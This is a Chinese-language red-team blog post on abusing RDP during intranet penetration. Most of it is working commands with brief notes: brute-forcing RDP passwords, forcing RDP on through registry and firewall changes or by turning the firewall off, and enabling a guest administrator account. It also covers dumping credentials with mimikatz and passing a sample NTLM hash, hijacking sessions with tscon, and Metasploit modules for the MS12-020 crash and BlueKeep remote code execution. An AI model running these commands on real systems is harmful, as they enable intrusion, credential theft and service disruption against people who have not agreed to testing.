『红蓝对抗』内网渗透中 RDP 的那些事儿

日期:2021-09-14

作者:hdsec

介绍:内网渗透中常见RDP的利用方式


前言

简单整理一下内网渗透中常见的RDP利用方式。

爆破RDP口令

(1)超级弱口令检测工具
image

(2)hydrapython脚本等。

强制开启RDP服务

2.1 查看目标是否开启RDP

(1)查看注册表

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

十六进制0x1关闭,十六进制0x0开启

image

(2)扫描端口

namp -p 3389 10.211.55.4

image

(3)查看端口、进程

tasklist /svc | find "TermService"
netstat -ano | find "3389"

2.2 强制开启RDP

(1)修改注册表允许远程桌面连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image

如果目标开启了防火墙,还需要配置防火墙为允许远程桌面连接。

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

image

或者直接关闭防火墙

netsh advfirewall set allprofiles state off

(2)使用metasploit启动
首先要获取目标一个session,然后使用后渗透模块post/windows/manage/enable_rdp 开启远程连接。

(3)使用cs插件启动

PTH 登录远程 RDP

当遇到目标主机无法通过lsass.exe进程抓取明文密码,或者是密码强度太大经常会遇到拿到hash却解不开的情况,我们就可以采用凭据传递攻击(Pass-The-Hash)。

新版的RDP远程桌面协议中有一个“受限管理员”(Restricted Admin)的特性,通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。
所以在开启凭据传递攻击(Pass-The-Hash)前,要先确保目标主机开启了Restricted Admin Mode,开启后我们便可以使用Hash来直接实现RDP远程登录。

3.1 Mimikatz

(1) 修改注册表

我们在渗透过程中可以通过修改注册表的方式开启目标主机的Restricted Admin Mode,值为0代表开启,值为1代表关闭:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否成功开启。

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

image

(2) 在目标主机win2012上运行mimikatz获取NTLM

privilege::debug
sekurlsa::logonpasswords

image

(3) 在win10攻击机上执行命令,可成功利用mimikatz传递hash远程连接windows2012

privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:781fd284a63ba30ef7a09a68a3a96fe8 "/run:mstsc.exe /restrictedadmin"

image

坑点:win7不支持Restricted Admin mode

3.2 FreeRDP

https://labs.portcullis.co.uk/download/FreeRDP-pth.tar.gz
旧版本下载需要编译。

RDP 会话劫持

当无法通过Mimikatz导出用户明文口令时,我们可以通过会话劫持的方式切换至另一用户的桌面。前提是我们要先获取目标主机的SYSTEM权限,再劫持目标用户的RDP并切换过去。

4.1 利用系统服务

提权至system权限后激活并登录guest用户。

net user guest /active:yes
net user guest LS123456!
net localgroup administrators guest /add

quser显示有关远程桌面会话主机上的用户会话的信息。
image

创建劫持用户会话的服务。

sc create hdsec1 binpath= "cmd.exe /k tscon 1 /dest:console"
net start hdsec1

image

执行net start hdsec1命令后,我们创建的劫持会话的服务将会启动,就会切换至ID=1,也就是用户名hacker的会话下。

4.2 Psexec

使用Psexec获得一个SYSTEM权限的cmd(前提是 Psexec.exe 以system权限运行),然后再这个SYSTEM权限的cmd中直接执行tscon 2劫持会话。

psexec -s -i cmd
quser
tscon 2 /dest:console

image

RDP 系列漏洞

5.1 MS12-020

MS12-020漏洞是微软在12年发布的一个windows系统漏洞,该漏洞针对于windows xpwindows sever 2003等系统。攻击者通过该漏洞对目标主机进行攻击,可导致目标主机蓝屏。

msf中使用命令search ms12-020进行搜索。

image

使用扫描模块auxiliary/scanner/rdp/ms12_020_check进行检测。

image

使用模块auxiliary/dos/windows/rdp/ms12_020_maxchannelids,可成功导致目标主机蓝屏重启。

image

5.2 CVE-2019-0708

当未经身份验证的攻击者使用RDP连接到目标系统并发送经特殊设计的请求时,远程桌面服务中存在远程执行代码漏洞。此漏洞是预身份验证,无需用户交互。成功利用此漏洞的攻击者可以在目标系统上执行任意代码。

靶机:Windows7 SP1
下载链接:

ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

msf中利用模块exploit/windows/rdp/cve_2019_0708_bluekeep_rce进行漏洞利用,可成功获得meterpreter会话。

image

image

坑点:靶机是在VMware workstation 14版本下搭建的,但是在set target的时候设置3靶机会蓝屏,设置成4可成功获取meterpreter会话,漏洞利用环境比较苛刻,在实战中意义不大,容易导致目标蓝屏。

总结

以上实验操作都是在理想的情况下进行的,在实战中难免会遇到杀软或者windows高版本已经打补丁的情况,这时候就需要一些免杀处理技术或者进行一些骚操作。
image

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发